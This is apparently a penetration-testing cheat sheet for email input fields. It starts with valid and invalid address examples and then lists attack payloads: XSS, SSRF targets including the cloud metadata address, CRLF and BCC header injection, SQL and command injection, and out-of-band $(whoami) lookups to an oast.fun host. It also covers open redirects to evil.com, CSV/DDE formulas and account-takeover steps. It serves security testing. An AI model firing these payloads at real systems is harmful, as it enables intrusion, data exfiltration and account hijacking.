Loading...
Complete methodology for testing email input fields — from RFC822 validation to XSS, SSRF, header injection, SQLi, command injection, and business logic abuse.
Email field injection testing including XSS, SSRF, SQLi, and header injection payloads.
Last updated: 2026-05-15
Email input fields are a critical attack surface — vulnerable to XSS, SSRF, header injection, SQLi, command injection, and business logic flaws. This guide covers foundational + advanced testing methodology.simple@example.com — Valid (Standard format)very.common@example.com — Valid (Dots in local part)disposable.style.email.with+symbol@example.com — Valid (Plus symbol)user@[192.168.1.1] — Valid (Address literal)"much.more unusual"@example.com — Valid (Quoted local part)admin@mailserver1 — Valid (Local domain, no TLD)plainaddress — Invalid (Missing @)@missinglocal.org — Invalid (Missing local part)username@.com — Invalid (Leading dot in domain)username@-example.com — Invalid (Leading hyphen)username@example..com — Invalid (Double dot)username@exam_ple.com — Invalid (Underscore in domain)test@examp℮.com — Invalid (Unicode in domain)python3 rfc822_email_validator.py # Enter email when prompted. Returns YES/NO based on RFC822 compliance.https://github.com/coffinxp/RFC822-Email-Validator"><script>alert(1)</script>@test.com"><svg/onload=alert(3)>@test.com"><svg/onload=confirm(1337)>"@x.ytest@your-burpcollaborator.nettest@requestbin.nettest@127.0.0.1test@localhosttest@169.254.169.254test@example.com%0d%0aBCC:attacker@example.comtest@example.com\r\nBCC:attacker@example.comtest@example.com%0aCC:attacker@example.comtest@example.com\r\nContent-Type:text/html\r\n\r\n<b>Injected</b>test' OR '1'='1@example.comtest" OR "1"="1@example.comtest@example.com'--test@example.com") OR 1=1--test@example.com; whoamitest@example.com && idtest@example.com | uname -atest@example.com`id``whoami`.yourdomain.oast.fun$(whoami).yourdomain.oast.fun${USER}.yourdomain.oast.funtest@example.com%0d%0aLocation:https://evil.comtest@example.com/?next=https://evil.comadmin@example.comuser@example.comnonexistent@example.com"test@evil.com"@example.comtest@subdomain..comtest@-example.comtest@.comtest@exam_ple.comtest@examp℮.comtest@example.com%0d%0aInjected-Header: injectedtest@example.com%0aInjected-Header: injectedRegister same email multiple times — check for duplicate accountsChange email to another user's email — intercept verification requestIntercept and modify verification response (is_verified: false → true)test@exаmple.com (Cyrillic 'а')test@examp℮.com=cmd|' /C calc'!A0"=HYPERLINK("http://evil.com")"test@example.com\nInjectedLogEntryAutomate password reset attempts with different emails → Monitor response differencesAutomate registration attempts → Check for CAPTCHA or rate limit blocksComplete email input assessment requires testing: XSS → SSRF → Header Injection → SQLi → Command Injection → Open Redirect → IDOR → Format Bypass → CRLF → Business Logic → Unicode → CSV Injection → Rate Limiting